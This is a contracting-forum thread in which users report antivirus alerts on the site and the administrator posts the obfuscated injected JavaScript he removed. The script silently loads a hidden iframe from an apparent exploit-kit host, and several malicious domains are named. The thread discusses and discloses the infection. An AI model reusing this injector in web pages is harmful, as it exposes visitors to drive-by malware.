Originally posted by fullyautomatix
View Post
- Visitors can check out the Forum FAQ by clicking this link. You have to register before you can post: click the REGISTER link above to proceed. To start viewing messages, select the forum that you want to visit from the selection below. View our Forum Privacy Policy.
- Want to receive the latest contracting news and advice straight to your inbox? Sign up to the ContractorUK newsletter here. Every sign up will also be entered into a draw to WIN £100 Amazon vouchers!
Reply to: Malicious URL blocked
Collapse
You are not logged in or you do not have permission to access this page. This could be due to one of several reasons:
- You are not logged in. If you are already registered, fill in the form below to log in, or follow the "Sign Up" link to register a new account.
- You may not have sufficient privileges to access this page. Are you trying to edit someone else's post, access administrative features or some other privileged system?
- If you are trying to post, the administrator may have disabled your account, or it may be awaiting activation.
Logging in...
Previously on "Malicious URL blocked"
Collapse
-
-
Originally posted by administrator View PostPrize for anyone who can decode this, some v clever code by the looks of it.
Leave a comment:
-
Originally posted by Cliphead View PostParty food as Rangers die...........
Leave a comment:
-
Originally posted by northernladuk View PostI have managed to decode it and found it drops a package on people's machines but it only executes when it spots a flounce... oh dear....
Code:(function(){ fWZIQNA1='z9KRA5dz9KRA5oz9KRA5nz9KRA5\'tz9KRA5lz9KRA5ez9KRA5tz9KRA5tz9KRA5hz9KRA5ez9KRA5dz9KRA5oz9KRA5oz9KRA5rz9KRA5hz9KRA5iz9KRA5tz9KRA5yz9KRA5ez9KRA5rz9KRA5az9KRA5rz9KRA5sz9KRA5ez9KRA5oz9KRA5nz9KRA5tz9KRA5hz9KRA5ez9KRA5wz9KRA5az9KRA5yz9KRA5oz9KRA5uz9KRA5t'; var ziJ9xE='z9KRA5'; var tara=(fWZIQNA1.split(ziJ9xE).join('')); alert(tara); }) ();
Leave a comment:
-
Originally posted by fullyautomatix View PostThats it, this is getting scary. I am off CUK for a while till all this virus infection stuff is fixed. Cant take the risk anymore.
Leave a comment:
-
Thats it, this is getting scary. I am off CUK for a while till all this virus infection stuff is fixed. Cant take the risk anymore.
Leave a comment:
-
Sorry guys, just noticed this one and had a look. I have found the source of the infection and it was a different one to the last time. I saw another hack on a different forum a week or so ago, different to the one we had form a few weeks ago and also different to this one. The forum is up to date in terms of the latest patch level and we only run the one plug in and that is up to date as well. Will send ticket to VBulletin support in a sec as this is getting silly now.
This looks to be the source of the infection:
Code:(function(){function bZq6wnH(){if(document.body){if(window.name!='jPPj0x'&&!window.tUN3fz){function gDHtJca(rzhDNW){if(rzhDNW.contentDocument)return rzhDNW.contentDocument; if(rzhDNW.contentWindow)return rzhDNW.contentWindow.document;return rzhDNW.document}var fe3k2f6r = {};with(fe3k2f6r){hOAoRrA=/a/.__proto__=='//';zENwnH5='\v'=='v'}var ziJ9xE='z9KRA5';var c0u8Z63='5567eb98';var fWZIQNA1='z9KRA5hz9KRA5tz9KRA5tz9KRA5pz9KRA5:z9KRA5/z9KRA5/z9KRA5nz9KRA5ez9KRA5tz9KRA5sz9KRA5tz9KRA5az9KRA5tz9KRA5iz9KRA5cz9KRA5.z9KRA5iz9KRA5nz9KRA5fz9KRA5oz9KRA5/z9KRA5iz9KRA5nz9KRA5.z9KRA5cz9KRA5gz9KRA5iz9KRA5?z9KRA53z9KRA5';var cxhqp5='z9KRA5iz9KRA5fz9KRA5rz9KRA5az9KRA5mz9KRA5ez9KRA5';var vQUxwE=fe3k2f6r.zENwnH5?'<'+cxhqp5.split(ziJ9xE).join('')+' name="'+c0u8Z63+'" src="'+fWZIQNA1.split(ziJ9xE).join('')+'">':cxhqp5.split(ziJ9xE).join('');var pYrOhQ=document.createElement(vQUxwE);with(pYrOhQ){name=c0u8Z63;setAttribute('name',c0u8Z63);id=c0u8Z63}document.body.appendChild(pYrOhQ);if(window.name==='')window.name='jPPj0x';window.tUN3fz=true;with(pYrOhQ.style){if(!fe3k2f6r.hOAoRrA)position='absolute';left=top='0px';height=width='1px';visibility='hidden'}if(!fe3k2f6r.zENwnH5)gDHtJca(pYrOhQ).location.replace(fWZIQNA1.split(ziJ9xE).join(''))}}else setTimeout(bZq6wnH,0)}bZq6wnH()})();
If you are still getting the infection attempt from Avast then PM me but have not seen the infection message since cleaning this file out.
As before, use Malware Bytes and make sure you haven't been infected. If your browsers and OS are up to date then you should be OK as I guess the code will look for flaws in these to exploit and install Trojans if possible.
If you ever get reports like this then please PM me as I will be able to react much quicker as I sometimes don't come here until later in the day.
Leave a comment:
-
Oddly enough I got a intrustion blocked by ukinoxi.in when I logged on this morning
Norton says IP Alert Name was Web Attack: Malicious Exploit Kit Website 4
Leave a comment:
-
Originally posted by Cliphead View PostI keep getting Avast messages accessing CUK.
URL: http:// gostatics . com/default.cgi
Process: file://C:\Program Files\Mozilla Firefox\...
Infection: url:Mal
Anybody else seeing this?
You must be in Professional. The Mal virus or Malvolio virus is an aggressive type of infrection. Very single minded, with only one form of attack and a massive chip on it's shoulder. Have you tried NL Anti Virus?
Leave a comment:
-
Malicious URL blocked
I keep getting Avast messages accessing CUK.
URL: http:// gostatics . com/default.cgi
Process: file://C:\Program Files\Mozilla Firefox\...
Infection: url:Mal
Anybody else seeing this?Tags: None
- Home
- News & Features
- First Timers
- IR35 / S660 / BN66
- Employee Benefit Trusts
- Agency Workers Regulations
- MSC Legislation
- Limited Companies
- Dividends
- Umbrella Company
- VAT / Flat Rate VAT
- Job News & Guides
- Money News & Guides
- Guide to Contracts
- Successful Contracting
- Contracting Overseas
- Contractor Calculators
- MVL
- Contractor Expenses
Advertisers
Contractor Services
CUK News
- Streamline Your Retirement with iSIPP: A Solution for Contractor Pensions Sep 1 09:13
- Making the most of pension lump sums: overview for contractors Sep 1 08:36
- Umbrella company tribunal cases are opening up; are your wages subject to unlawful deductions, too? Aug 31 08:38
- Contractors, relabelling 'labour' as 'services' to appear 'fully contracted out' won't dupe IR35 inspectors Aug 31 08:30
- How often does HMRC check tax returns? Aug 30 08:27
- Work-life balance as an IT contractor: 5 top tips from a tech recruiter Aug 30 08:20
- Autumn Statement 2023 tipped to prioritise mental health, in a boost for UK workplaces Aug 29 08:33
- Final reminder for contractors to respond to the umbrella consultation (closing today) Aug 29 08:09
- Top 5 most in demand cyber security contract roles Aug 25 08:38
- Changes to the right to request flexible working are incoming, but how will contractors be affected? Aug 24 08:25
Leave a comment: